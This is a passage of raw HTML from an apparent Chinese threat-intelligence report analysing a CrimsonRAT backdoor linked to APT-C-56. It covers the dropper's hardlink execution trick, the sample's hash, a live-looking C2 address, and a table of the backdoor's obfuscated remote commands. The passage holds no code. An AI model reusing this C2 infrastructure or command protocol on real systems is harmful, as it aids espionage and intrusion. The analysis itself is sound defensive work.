justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">伪装文件的内容如下：</span></p><p style="text-align: center;text-indent: 0px;margin-top: 16px;margin-bottom: 16px;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0304136253041363" data-w="822" style="width: 334.76px;height: 344.96px;" src="https://wechat2rss.xlab.app/img-proxy/?k=452eec71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLCr1WpWZpsEnmHuU10ZRYKI7Eb9rS79qyic0WPQwFc4d3icKCPb6Uk04mbngIg0KAM7sWcsnicwtXw7olMKibvm4740hwicxGLFtibk%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">接着将名为</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“doxc\doxc”的后门程序复制到C:\ProgramData\目录下，并创建“%APPDATA%\hzwzucr_widsisa.exe”硬链接，硬链接指向刚刚复制的“C:\ProgramData\doxc”文件，最后执行hzwzucr_widsisa.exe，实际上也就是执行“C:\ProgramData\doxc”文件。</span><o:page></o:page></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">doxc</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”文件是一个</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">CrimsonRAT后门程序，该程序由C#编写，是APT-C-56(</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">透明部落)组织经常使用的后门程序之一。该文件具体信息如下：</span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">MD5</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">72b34401413cd684b7ba0a36f626811b</span></span></p></td></tr><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">21.9 MB (22,989,824 字节)</span></span></p></td></tr><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件名</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">doxc</span></span></p></td></tr><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">编译时间</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">2026-07-01 20:56:19 UTC</span></span></p></td></tr></tbody></table><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">doxc</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">是一个名为</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">CrimsonRAT后门程序</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Doxc运行后首先会读取存储在静态数组的C2服务器地址（93.127.133.151@sharema128.net），然后通过@符号进行分割。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14703018500486856" data-w="1027" style="width:539.8499755859375px;height:79.3599853515625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=194d6dfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXK1NEF13M2866Mt5IuH5X1xxibHBuecWFfziboJLZBYpVthThD8kj89ibicPu5RhZ9icTwbnD39iaGoBex0LicTHmFBgBE4RUmMPatJBM%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">初始化C2服务器地址之后，通过Connect方法和服务端建立连接</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.388671875" data-w="512" style="width:511.79998779296875px;height:198.739990234375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0f4b7cef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXK0zXKkUh38qXiaFtL4tHWDzGCoAibZUAnlLLAYVN8vca97Q5Z5FsTOsticsQpUYcSw5IXjxqXnKazCwHGpVg22EesbVzFTqKBo3I%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">当建立好和C2服务端的连接之后，然后调用this.sewmishxp()分发执行命令。</span><o:page></o:page></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.48323699421965316" data-w="865" style="width:472.52996826171875px;height:228.3599853515625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5c04eb3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKEwnBetibuyMzen2dhLHcc0nWgcZICEctKT5p87Pe2iafta8ozaP8ibbjb7J69kIHAvEx13zDMJOBEqq66bViaNQdFdLv2mibREn6U%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">CrimsonRAT后门支持的功能如下</span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">命令</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">功能</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">inASISFHfo/inASISFHufo</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">系统信息上报</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">geASISFHutarvs/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">geASISFHtarvs</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">进程列表</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">enASISFHudpo/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">enASISFHdpo</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">进程终止</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">scASISFHuren/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">scASISFHren</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">屏幕截图</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">diASISFHurs/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">diASISFHrs</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">磁盘枚举</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">fiASISFHu_lsz/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">fiASISFHl_sz</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件浏览</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">liASISFHustf/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">liASISFHstf</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件搜索</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">afASISFHuile/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">afASISFHile</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件上传</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">doASISFHuwr/doASISFHwr/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">doASISFHuwf/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">doASISFHwf</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件下载</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">deASISFHult/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">deASISFHlt</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件删除</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">ruASISFHunf/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">ruASISFHnf</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">远程执行</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">thASISFHuumb/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">thASISFHumb</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">缩略图</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">udASISFHult/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">udASISFHlt</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">自更新</span></span></p></td></tr><tr><td data-colwidth="359" width="359" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">puASISFHutsrt/</span></span><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">puASISFHtsrt</span></span></p></td><td data-colwidth="194" width="194" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="word-break:break-all;"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">持久化</span></span></p></td></tr></tbody></table><h3 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">2.2.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">ZIP文件分析</span></span></h3><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: 